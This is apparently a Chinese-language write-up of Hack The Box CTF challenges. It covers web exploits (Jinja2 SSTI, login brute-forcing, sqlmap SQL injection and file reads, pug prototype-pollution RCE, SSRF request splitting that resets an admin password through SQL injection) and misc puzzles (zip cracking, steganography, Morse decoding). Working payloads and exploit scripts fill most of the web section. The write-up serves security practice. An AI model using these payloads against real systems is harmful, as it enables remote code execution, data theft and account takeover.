Challenges
Web
Emdee five for life
easy 题 加密md5 然后提交 其实就是py小脚本训练 贴下脚本
import requests
import re
import hashlib
url = "http://46.101.53.249:32444/"
while(1):
r = requests.session()
resp = r.get(url)
code = re.findall("<h3 align='center'>(.*?)</h3>", resp.text)
code = code[0]
print(code)
m = hashlib.md5()
b = code.encode(encoding='utf-8')
m.update(b)
str_md5 = m.hexdigest()
print(str_md5)
data = {
'hash': str_md5
}
resp1 = r.post(url=url, data=data)
print(resp1.text)
if ("Too slow!" in resp1.text):
continue
else:
print(resp1.text)
Templated
easy 题
flask jinja2 ssti模块注入 开始我用了Arjun扫了下参数没扫到。。然后随便进几个目录发现
这里解析了 ss 尝试访问下{{config}}
接下来就是构造payload 来命令执行了
简单思路:找Object 再找warnings.catch_warnings
payload:
{{ "".__class__.__mro__[1].__subclasses__()[186].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat flag*").read() }}
Phonebook
Easy题
进来是一个登录界面
测试发现如果我们使用
*当作账户密码可以直接登入,但是登录之后并获取不到flag,*的有匹配的含义,
比如cat flag11111 我们就可以用cat flag*,思路有了来写个小脚本尝试爆破下账户和密码
import requests
url = "http://46.101.53.249:31174/login"
username=""
data = {
"username": username + "*",
"password": "*"
}
input_data = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","#","$","%","@","!","0","1","2","3","4","5","6","7","8","9","{","}","[","]","_","&","^"," "]
while(1):
for i in input_data:
username = username + i
data = {
"username": username + "*",
"password": "*"
}
resp = requests.post(url=url,data=data)
if("/search" in resp.text):
print(data)
break
else:
username=username[:-1]
账户为reese 同理改下脚本来bp下密码 密码即是flag...(爆了快半小时) 这里就不贴脚本了
FreeLancer
首页有个表单,表单提交的数据一直500,xss也没法利用
拿dirb扫一下
扫到了一个/administrat/ 目录 登录进去是一个登录界面
看下源码有没有提示
在源码上多注意些注释 <!-- 以及一些地址href=
进入/portfolio.php?id=2
手工测试下
/portfolio.php?id=2 and 1=1--+ 回显正常
/portfolio.php?id=2 and 1=2--+ 回显失败
布尔注入
丢进sqlmap里
dump下数据库
加密了,查看数据库权限
尝试了--os-shell 也不行
试试能不能读文件,虽然我们没有路径,但linux的web大多数都是放在/var/www/html下
sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/index.php
读出来了 把已知的都读一下 看下源码
sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/portfolio.php
从这也能发现那个/administrat/的管理界面
sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/index.php
sqlmap -u "http://206.189.121.131:31196/portfolio.php?id=1" --file-read=/var/www/html/administrat/panel.php
最后在这个源码中读到了flag,挺折磨人的,开始还以为要读加密的姿势去逆向或者暴力呢,不知道师傅们有没有其他思路
Gunship
download源码, 安装的包 (package.json)
"dependencies": {
"express": "^4.17.1",
"flat": "5.0.0",
"pug": "^3.0.0"
}
pug:3.0.0 可以利用,存在rce github.com/pugjs/pug/i…
利用位置 (routes/index.js)
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});
可以看出向/api/submit 请求的body 传给了unflatten
利用链
{
"artist.name":"Haigh","__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('$(ls | grep flag)')"
}
}
我们使用$(ls | grep flag)可以将报错信息带出来,也是无回显rce的一个小trick
cat flag
{
"artist.name":"Haigh","__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('$(cat flagOUpyU)')"
}
}
exp:
import requests
TARGET_URL = 'http://157.245.40.206:30563'
# first : $(ls | grep flag)
r = requests.post(TARGET_URL+'/api/submit', json = {
"artist.name":"Haigh","__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('$(cat flagOUpyU)')"
}
})
print(r.status_code)
print(r.text)
Weather App
download源码, 查看路由(routes/index.js)
实现了login、register、/api/weather接口。
从代码上看到register接口有个限制
router.post('/register', (req, res) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}
let { username, password } = req.body;
if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch(() => res.send(response('Something went wrong')));
}
return res.send(response('Missing parameters'));
});
判断注册的请求来源必须是127.0.0.1, 应该是要触发ssrf
接着在login中明显看出需要我们登录admin的账户就能get flag
router.post('/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})
.catch(() => res.send(response('Something went wrong')));
}
return re.send(response('Missing parameters'));
});
观察一下与数据库操作有关的文件(database.js)
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);
INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
`);
}
其中username 属于unique约束,并且默认32字节的密码,无法爆破
接着看其余的代码(database.js)
async register(user, pass) {
// TODO: add parameterization and roll public
return new Promise(async (resolve, reject) => {
try {
let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
resolve((await this.db.run(query)));
} catch(e) {
reject(e);
}
});
}
并没有对参数进行过滤,可以进行拼接。例如 user : admin pass: 1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';-- 其中sql语句就变成了
INSERT INTO users (username, password) VALUES ('admin', '1234') ON CONFLICT(username) DO UPDATE SET password = 'admin';--')
当执行冲突时,会update密码。
接下来就是找到一个ssrf点去发送这个post请求包了
看到/api/weather接口 (routes/index.js)
router.post('/api/weather', (req, res) => {
let { endpoint, city, country } = req.body;
if (endpoint && city && country) {
return WeatherHelper.getWeather(res, endpoint, city, country);
}
return res.send(response('Missing parameters'));
});
跟进WeatherHelper.getWeather方法(helpers/WeatherHelper.js)
async getWeather(res, endpoint, city, country) {
// *.openweathermap.org is out of scope
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);
if (weatherData.name) {
let weatherDescription = weatherData.weather[0].description;
let weatherIcon = weatherData.weather[0].icon.slice(0, -1);
let weatherTemp = weatherData.main.temp;
switch (parseInt(weatherIcon)) {
case 2: case 3: case 4:
weatherIcon = 'icon-clouds';
break;
case 9: case 10:
weatherIcon = 'icon-rain';
break;
case 11:
weatherIcon = 'icon-storm';
break;
case 13:
weatherIcon = 'icon-snow';
break;
default:
weatherIcon = 'icon-sun';
break;
}
return res.send({
desc: weatherDescription,
icon: weatherIcon,
temp: weatherTemp,
});
}
return res.send({
error: `Could not find ${city} or ${country}`
});
}
其中进行HttpHelper.HttpGet请求,参考Node中的Request Splitting。
可以构造一个分隔的payload来发送请求 需要将空格编码为\u0120 、 \r 编码为 \u010d 、 \n编码为 \u010A 、其余字符进行url编码
exp:
import requests
url = "http://68.183.45.200:31945"
username = 'admin'
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parseUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
parsePassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parseUsername) + len(parsePassword) + 19
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHOST:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str(contentLength) + '\u010D\u010A\u010D\u010Ausername=' + parseUsername + '&password=' + parsePassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='
r = requests.post(url + '/api/weather', json={'endpoint': endpoint, 'city': 'chengdu', 'country': 'CN'})
print(r)
之后直接登录admin即可
MISC
misDIRection
download文件,unzip解压发现其中都是空的文件,但其中部分文件夹中具有数字标识, 范围从1-36
将有数字的进行过滤出来,并整理成如下格式
对第二位进行排序,需要将1补成01、2补成02,直接用bash命令排序了,sore msg.txt -k 2
得到排列好的字母,按顺序将字母拼接,再进行base64解密即可
exp:
file = "msg4.txt"
secret = ""
with open(file, "r") as f:
data = f.readlines()
for item in data:
secret += item.split(" ")[0]
print(secret)
Blackhole
download下文件,file查看文件类型,发现是jpg文件
使用binwalk无果,使用stegcracker爆破
爆破出来密码,从图中也能猜出来(脑洞)
使用 steghide extract -sf file 解密文件
得出flag.txt, 特征和积累看的出来是base64套娃,
www.boxentriq.com/code-breaki…
这个能在线查看密文的类型,发现是凯撒
使用在线网站解密,偏移14位即可
cryptii.com/
Eternal Loop
套娃,压缩包里面的文件名是该压缩包的密码。写个脚本一直解压
import zipfile
name = "37366.zip"
while 1:
zFile = zipfile.ZipFile(r'D:\Temp\HTB\MISC\Eternal Loop\{}'.format(name), "r")
name = zFile.namelist()[0]
password = zFile.namelist()[0].split(".")[0]
print(zFile.namelist()[0])
zFile.extract(zFile.namelist()[0], r"D:\Temp\HTB\MISC\Eternal Loop", pwd=bytes(password, 'utf-8'))
最后解压到6969.zip报错,去爆破下zip密码
fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt 6969.zip
解压 file 发现是SQL文件,直接
strings DoNotTouch | grep "HTB"
Longbottom's Locker
解压压缩包 其中网站源码逻辑如下,(index.html)
<script>
document.getElementById('neville-locker-form').addEventListener('submit', function(e) {
e.preventDefault();
var passphrase = document.getElementById('passwd').value,
encryptedMsg = '4cce4470203e10b395ab1787a22553a5b2503d42a965da813676d929cc16f76cU2FsdGVkX19FvUyhqWoQKHXNLBL64g8acK4UQoP6XZQ/n4MRL3rgQj8TJ/3r8Awtxte2V9s+RLfQHJOHGwYtctqRa/H2BetmxjwGG+LYKUWC8Z6WBoYbecwtATCOuwewnp+VKBzsWLme+3BZyRgKEA==',
encryptedHMAC = encryptedMsg.substring(0, 64),
encryptedHTML = encryptedMsg.substring(64),
decryptedHMAC = CryptoJS.HmacSHA256(encryptedHTML, CryptoJS.SHA256(passphrase).toString()).toString();
if (decryptedHMAC !== encryptedHMAC) {
alert('Bad passphrase!');
return;
}
var plainHTML = CryptoJS.AES.decrypt(encryptedHTML, passphrase).toString(CryptoJS.enc.Utf8);
document.write(plainHTML);
document.close();
});
</script>
HMAC是一个基于Hash函数的,逆不出来,最终plainhtml也需要输入的信息进行解码渲染flag,只能找其他思路
socute.jpg binwalk 分离出一个zip,解压得到donotshare
(lp1
(lp2
(S' '
I163
tp3
aa(lp4
(S' '
I1
tp5
a(S'.'
I1
tp6
a(S'd'
I1
tp7
a(S'8'
I4
tp8
a(S'b'
I1
tp9
a(S'.'
I1
tp10
a(S' '
I12
Google到了该字符类似于一个符号横幅。用下面读取并打印输出得
import pickle
f = open('donotshare', 'rb')
o = pickle.load(f)
outstr = ''
for line in o:
for char,n in line:
outstr += char*n
outstr += '\n'
print(outstr)
Gu1d0-v4N-R055Um, 输入即可得到flag
Canvas
在js中被编码了,去解开js的编码,可以看到大致逻辑,在浏览器中打断点可以看出用户名和密码都是admin,之后渲染了一个canvas,从js中最后一行找到找个canvas的十六进制 进行十六进制转ASCII
class Converter(object):
@staticmethod
def to_ascii(h):
list_s = []
for i in range(0, len(h), 2):
list_s.append(chr(int(h[i:i+2], 16)))
return ''.join(list_s)
@staticmethod
def to_hex(s):
list_h = []
for c in s:
list_h.append(str(hex(ord(c))[2:]))
return ''.join(list_h)
print(Converter.to_ascii("4854427b57334c63306d335f37305f4a3456343543523170375f6433306246753543343731304e7da"))
M0rsarchive
每一层有一个pwd.png和一个压缩包,pwd.png是一个彩色条纹和圆点的非常小的图像,也就是摩斯密码,套了很多很多层,写脚本去识别摩斯密码,并递归解压。
参考:sequr.be/blog/2019/1… exp:
def getMorse(image):
"""Get morse out of image
This assumes the background colour is static and morse code has a different colour.
Morse code can be in any colour, as long as it is not the same as the top-left pixel.
>>> getMorse('pwd.png')
['----.']
"""
from PIL import Image
import re
im = Image.open(image, 'r')
chars = []
background = im.getdata()[0]
for i, v in enumerate(list(im.getdata())):
if v == background:
chars.append(" ")
else:
chars.append("*")
# print "{0: <4}: {1: <15} ({2})".format(i, v, "[-] BG" if v == background else "[+] FG")
output = "".join(chars)
# Clean output by removing whitespace front and back
# Then make dash out of every combination of 3 dots
# Convert dots to actual dot
# Convert whitespace between letters (i.e. >1 bg pixel) to seperator
# Remove whitespace
# Return list of letters
output = re.sub(r'^\s*', '', output)
output = re.sub(r'\s*$', '', output)
output = re.sub(r'\*{3}', '-', output)
output = re.sub(r'\*', '.', output)
output = re.sub(r'\s{2,}', ' | ', output)
output = re.sub(r'\s', '', output)
output = output.split('|')
return output
def getPassword(morse):
"""Decode morse
Convert morse back into text.
Takes list of letters as input, returns converted text.
Note that challenge uses lowercase letters.
>>> getPassword(['----.'])
'9'
"""
MORSE_CODE_DICT = {
'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D',
'.': 'E', '..-.': 'F', '--.': 'G', '....': 'H',
'..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L',
'--': 'M', '-.': 'N', '---': 'O', '.--.': 'P',
'--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',
'..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X',
'-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1',
'..---': '2', '...--': '3', '....-': '4', '.....': '5',
'-....': '6', '--...': '7', '---..': '8', '----.': '9',
'-..-.': '/', '.-.-.-': '.', '-.--.-': ')', '..--..': '?',
'-.--.': '(', '-....-': '-', '--..--': ','
}
for item in morse:
return "".join([MORSE_CODE_DICT.get(item) for item in morse]).lower()
def main():
""" Auto start
Used for automation.
Automatically call methods and use 'pwd.png' as input image.
"""
print (getPassword(getMorse("pwd.png")))
if __name__ == "__main__":
main()
并使用sh脚本去循环执行
#!/bin/bash
RESULT=0
while [ $RESULT -eq 0 ]
do
PASSWORD="$( python3 /root/桌面/HTB/MISC/M0rsachive/exp.py )"
ZIPFILE="$( ls *.zip )"
unzip -P "$PASSWORD" "$ZIPFILE"
RESULT=$?
echo "Unzipped $ZIPFILE using password $PASSWORD ($RESULT)"
cd flag
done
由于路径也过于长, 使用find也查不出来最外层的flag
$ find . -iname "flag" -type f -exec cat {} \;
cat: ./flag/flag/[...]/flag/flag/flag: File name too long
利用脚本:
while [ $? -eq 0 ]; do cd flag/; done
cat flag